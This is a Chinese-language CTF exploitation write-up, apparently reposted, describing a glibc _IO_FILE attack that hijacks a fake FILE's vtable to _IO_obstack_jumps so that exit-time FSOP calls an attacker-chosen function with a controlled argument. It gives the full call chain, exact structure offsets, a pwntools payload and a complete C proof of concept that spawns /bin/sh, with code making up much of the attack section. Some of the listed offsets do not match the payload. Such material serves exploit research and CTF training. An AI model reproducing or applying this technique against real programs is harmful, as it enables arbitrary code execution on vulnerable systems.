前言
众所周知,由于移除了__malloc_hook/__free_hook/__realloc_hook
等等一众hook
全局变量,高版本glibc
想要劫持程序流,离不开攻击_IO_FILE
。而笔者近期在国外大佬博客中发现一条新的可利用的函数调用链,与house of apple2
一样,只需要一次地址任意写,而且适用于目前所有的glibc版本,故在此结合源码和自己的理解总结分享,也感谢roderick
师傅和whiter
师傅的指导与支持。如果有哪里不对恳请师傅们斧正!
简介
此利用与house of apple
、house of cat
、house of emma
等利用一样,利用了修改虚表指针的方法。主要思路就是修改虚表指针为_IO_obstack_jumps
实现攻击。
利用条件
1.任意写一个可控地址或劫持 _IO_list_all
。(如large bin attack
、tcache stashing unlink attack
、fastbin reverse into tcache
)
2.能够触发IO
流(FSOP
或触发__malloc_assert
,或者程序中存在puts
等能进入IO
链的函数),执行IO
相关函数。
3.能够泄露堆地址和libc
基址。
利用原理
前置知识
源码如下:
struct _IO_FILE{
int_flags;
#define _IO_file_flags _flags
char*_IO_read_ptr;/* Current read pointer */
char*_IO_read_end;/* End of get area. */
char*_IO_read_base;/* Start of putback+get area. */
char*_IO_write_base;/* Start of put area. */
char*_IO_write_ptr;/* Current put pointer. */
char*_IO_write_end;/* End of put area. */
char*_IO_buf_base;/* Start of reserve area. */
char*_IO_buf_end;/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char*_IO_save_base;/* Pointer to start of non-current get area. */
char*_IO_backup_base;/* Pointer to first valid character of backup area */
char*_IO_save_end;/* Pointer to end of non-current get area. */
struct _IO_marker*_markers;
struct _IO_FILE*_chain;
int_fileno;
#if 0
int _blksize;
#else
int_flags2;
#endif
_IO_off_t_old_offset;/* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
unsignedshort_cur_column;
signedchar_vtable_offset;
char_shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t*_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
该结构体应该不难理解,不过多赘述。
struct _IO_jump_t
{
JUMP_FIELD(size_t,__dummy);
JUMP_FIELD(size_t,__dummy2);
JUMP_FIELD(_IO_finish_t,__finish);
JUMP_FIELD(_IO_overflow_t,__overflow);
JUMP_FIELD(_IO_underflow_t,__underflow);
JUMP_FIELD(_IO_underflow_t,__uflow);
JUMP_FIELD(_IO_pbackfail_t,__pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t,__xsputn);
JUMP_FIELD(_IO_xsgetn_t,__xsgetn);
JUMP_FIELD(_IO_seekoff_t,__seekoff);
JUMP_FIELD(_IO_seekpos_t,__seekpos);
JUMP_FIELD(_IO_setbuf_t,__setbuf);
JUMP_FIELD(_IO_sync_t,__sync);
JUMP_FIELD(_IO_doallocate_t,__doallocate);
JUMP_FIELD(_IO_read_t,__read);
JUMP_FIELD(_IO_write_t,__write);
JUMP_FIELD(_IO_seek_t,__seek);
JUMP_FIELD(_IO_close_t,__close);
JUMP_FIELD(_IO_stat_t,__stat);
JUMP_FIELD(_IO_showmanyc_t,__showmanyc);
JUMP_FIELD(_IO_imbue_t,__imbue);
#if 0
get_column;
set_column;
#endif
};
当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t
结构体内某一函数。
源码如下:
struct _IO_FILE_plus
{
_IO_FILEfile;
conststruct _IO_jump_t*vtable;
};
也就是在_IO_FILE
追加了个指向_IO_jump_t
结构体的指针。
源码如下:
struct obstack/* control current object in current chunk */
{
longchunk_size;/* preferred size to allocate chunks in */
struct _obstack_chunk*chunk;/* address of current struct obstack_chunk */
char*object_base;/* address of object we are building */
char*next_free;/* where to add next char to current object */
char*chunk_limit;/* address of char after current chunk */
union
{
PTR_INT_TYPEtempint;
void*tempptr;
}temp;/* Temporary for some macros. */
intalignment_mask;/* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
casts to the prototypeless function type in all assignments,
but having prototypes here quiets -Wstrict-prototypes. */
struct _obstack_chunk*(*chunkfun)(void*,long);
void(*freefun)(void*,struct _obstack_chunk*);
void*extra_arg;/* first arg for chunk alloc/dealloc funcs */
unsigneduse_extra_arg :1;/* chunk alloc/dealloc funcs take extra arg */
unsignedmaybe_empty_object :1;/* There is a possibility that the current
chunk contains a zero-length object. This
prevents freeing the chunk if we allocate
a bigger chunk to replace it. */
unsignedalloc_failed :1;/* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};
在此,我们不需要过多关注,只需要理解下述函数调用链的时候,知道有这么个结构体即可。
源码如下:
struct _IO_obstack_file
{
struct _IO_FILE_plusfile;
struct obstack*obstack;
};
简单来说,就是给_IO_FILE_plus
追加了一个指向obstack
结构体的指针。
在 2.24 版本的 glibc
中,全新加入了针对 IO_FILE_plus
的 vtable
劫持的检测措施,glibc
会在调用虚函数之前首先检查 vtable
地址的合法性。首先会验证 vtable
是否位于_IO_vtable
段中,如果满足条件就正常执行,否则会调用_IO_vtable_check
做进一步检查。
简单来说,如果 vtable 地址是非法的,那么会引发 abort。
原理分析
由上可知,vtable
必须合法,我们观察以下vtable
。
/* the jump table. */
conststruct _IO_jump_t_IO_obstack_jumpslibio_vtableattribute_hidden=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish,NULL),
JUMP_INIT(overflow,_IO_obstack_overflow),
JUMP_INIT(underflow,NULL),
JUMP_INIT(uflow,NULL),
JUMP_INIT(pbackfail,NULL),
JUMP_INIT(xsputn,_IO_obstack_xsputn),
JUMP_INIT(xsgetn,NULL),
JUMP_INIT(seekoff,NULL),
JUMP_INIT(seekpos,NULL),
JUMP_INIT(setbuf,NULL),
JUMP_INIT(sync,NULL),
JUMP_INIT(doallocate,NULL),
JUMP_INIT(read,NULL),
JUMP_INIT(write,NULL),
JUMP_INIT(seek,NULL),
JUMP_INIT(close,NULL),
JUMP_INIT(stat,NULL),
JUMP_INIT(showmanyc,NULL),
JUMP_INIT(imbue,NULL)
};
可知,该vtable
内只存在两个函数,分别为_IO_obstack_overflow
、_IO_obstack_xsputn
。
接下来我们对这两个函数进行分析
staticint
_IO_obstack_overflow(_IO_FILE*fp,intc)
{
struct obstack*obstack=((struct _IO_obstack_file*)fp)->obstack;
intsize;
/* Make room for another character. This might as well allocate a
new chunk a memory and moves the old contents over. */
assert(c!=EOF);//关注这里
obstack_1grow(obstack,c);
/* Setup the buffer pointers again. */
fp->_IO_write_base=obstack_base(obstack);
fp->_IO_write_ptr=obstack_next_free(obstack);
size=obstack_room(obstack);
fp->_IO_write_end=fp->_IO_write_ptr+size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast(obstack,size);
returnc;
}
可以看到,第二个参数要为0,才能正常执行该函数。而_IO_flush_all_lockp
进行调用vtable时,rsi往往是0xffffffff,如下图:
故该函数无法正常执行,不考虑该函数。
static_IO_size_t
_IO_obstack_xsputn(_IO_FILE*fp,constvoid*data,_IO_size_tn)
{
struct obstack*obstack=((struct _IO_obstack_file*)fp)->obstack;
if(fp->_IO_write_ptr+n>fp->_IO_write_end)
{
intsize;
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast(obstack,fp->_IO_write_ptr-fp->_IO_write_end);
/* Now grow for N bytes, and put the data there. */
obstack_grow(obstack,data,n);
[...]
}
观察该函数,首先获得_IO_obstack_file
结构体中的obstack
结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);
,而obstack_blank_fast
是个宏定义源码如下:
#define obstack_blank_fast(h, n) ((h)->next_free += (n))
对此不过多关注。然后执行obstack_grow
函数,obstack_grow
函数源码如下:
#define obstack_grow(OBSTACK, where, length) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (_o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })
可以看到,当_o->next_free + __len > __o->chunk_limit时,调用_obstack_newchunk
,_obstack_newchunk
函数源码如下:
void
_obstack_newchunk(struct obstack*h,intlength)
{
struct _obstack_chunk*old_chunk=h->chunk;
struct _obstack_chunk*new_chunk;
longnew_size;
longobj_size=h->next_free-h->object_base;
longi;
longalready;
char*object_base;
/* Compute size for new chunk. */
new_size=(obj_size+length)+(obj_size>>3)+h->alignment_mask+100;
if(new_size<h->chunk_size)
new_size=h->chunk_size;
/* Allocate and initialize the new chunk. */
new_chunk=CALL_CHUNKFUN(h,new_size);
[...]
}
对此,我们关注CALL_CHUNKFUN
这个宏定义,CALL_CHUNKFUN
源码如下:
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size))
,而这也就是我们要利用的点。
函数调用链
从调用_IO_obstack_xsputn
开始分析,假设满足上述所有需要绕过的条件,得以下调用链:
_IO_obstack_xsputn
obstack_grow
_obstack_newchunk
CALL_CHUNKFUN
(一个宏定义)(*(h)->chunkfun)((h)->extra_arg, (size))
利用方法
本文介绍amd64
下通过FSOP
触发这一个利用思路。
我们知道FSOP
的核心思想就是劫持_IO_list_all
的值来伪造链表和其中的_IO_FILE
项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE
调用 fflush
,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
我们调试可以知道_IO_overflow
位于vtable
指针所指向地址+0x18处,也就是说当FSOP
发生的时候会调用_IO_FILE_plus.vtable
中的_IO_overflow
。即调用vtable
指针所指向地址 + 0x18处的数据。
那么只要我们伪造一个_IO_FILE
结构体,将它的vtable
替换为&_IO_obstack_jumps+0x20
,此时vtable
指针所指地址+0x18处为_IO_obstack_xsputn
。假设满足所有需要绕过的条件,执行_IO_flush_all_lockp
时,会执行_IO_obstack_xsputn
,假设通过exit进行FSOP,得到以下调用链。
exit
__run_exit_handlers
fcloseall
_IO_cleanup
_IO_flush_all_lockp
_IO_obstack_xsputn
obstack_grow
_obstack_newchunk
CALL_CHUNKFUN(一个宏定义)
(*(h)->chunkfun)((h)->extra_arg, (size))
结合原理分析的内容可知,当满足以下条件的时候可以实现攻击:
-
利用
largebin attack
伪造_IO_FILE
,记完成伪造的chunk
为A
(或者别的手法) -
chunk A
内偏移为0xd8处设为_IO_obstack_jumps+0x20
-
chunk A
内偏移为0xe0处设置chunk A
的地址作为obstack
结构体 -
chunk A
内偏移为0x18处设为1(next_free
) -
chunk A
内偏移为0x20处设为0(chunk_limit
) -
chunk A
内偏移为0x48处设为&/bin/sh
-
chunk A
内偏移为0x38处设为system
函数的地址 -
chunk A
内偏移为0x28处设为1(_IO_write_ptr
) -
chunk A
内偏移为0x30处设为0 (_IO_write_end
) -
chunk A
内偏移为0x50处设为1 (use_extra_arg
)
可参考payload
如下:
def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr
payload = flat(
{
0x8:1,
0x10:0,
0x38:address_for_rdi,
0x28:address_for_call,
0x18:1,
0x20:0,
0x40:1,
0xd0:heap_base + 0x250,
0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
},
filler = '\x00'
)
利用该payload进行攻击结果展示如下:
POC
/*
* @Author: 7resp4ss
* @Date: 2022-11-23 18:09:39
* @LastEditTime: 2022-11-23 17:26:04
* @Description:
*gcc poc.c -g -o poc
*GLIBC version are as follows:
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3.2) stable release version 2.34.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 10.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
*/
#include<stdio.h>
#include<stdlib.h>
#define writeend_offset 0x30
#define writeptr_offset 0x28
#define vtable_offset 0xd8
#define next_free_offset 0x18
#define chunk_limit_offset 0x20
#define caller_offset 0x38
#define caller_arg_offset 0x48
#define use_arg_offset 0x50
#define fake_obstack_offset 0xe0
voidbackdoor(char*cmd)
{
puts("OHHH!HACKER!!!");
puts("HERE IS U SHELL!");
system(cmd);
}
char*fake_arg="/bin/sh\x00";
intmain(void)
{
puts("this is a poc");
size_tlibc_base=&puts-0x80ef0;
size_t_IO_list_all_prt=libc_base+0x21a660;
size_t_IO_obstack_jumps_prt=libc_base+0x2163c0;
void*ptr;
longlong*list_all_ptr;
ptr=malloc(0x200);
//bypass
*(longlong*)((longlong)ptr+writeptr_offset)=0x1;
*(longlong*)((longlong)ptr+writeend_offset)=0x0;
*(longlong*)((longlong)ptr+next_free_offset)=0x1;
*(longlong*)((longlong)ptr+chunk_limit_offset)=0x0;
*(longlong*)((longlong)ptr+use_arg_offset)=0x1;
*(longlong*)((longlong)ptr+fake_obstack_offset)=(longlong*)ptr;
//vtable _IO_obstack_jumps_prt
*(longlong*)((longlong)ptr+vtable_offset)=(longlong*)(_IO_obstack_jumps_prt+0x20);
//set the function to call and its parameters
*(longlong*)((longlong)ptr+caller_offset)=(longlong*)(&backdoor);
*(longlong*)((longlong)ptr+caller_arg_offset)=(longlong*)(fake_arg);
//_IO_list_all _chain 2 fake _IO_FILE_plus
list_all_ptr=(longlong*)(_IO_list_all_prt+0x68+0x20);
list_all_ptr[0]=ptr;
exit(0);
}
POC
运行结果如下:
总结
该攻击手法的利用非常简单,而且可以稳定控制需要调用的函数和rdi
,需要bypass
的条件也很容易满足。若遇到需要栈迁移的题目,只需要利用好类似setcontext+53
的gadget
即可。
参考链接
- FSOP - CTF Wiki (ctf-wiki.org)
- [SECCON CTF 2022 Quals] babyfile | repr (nasm.re)https://nasm.re/posts/babyfile/)
- [原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
- 20220701- IO_FILE专题 - 7resp4ss - 博客园 (cnblogs.com)
FROM:tttang . com
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论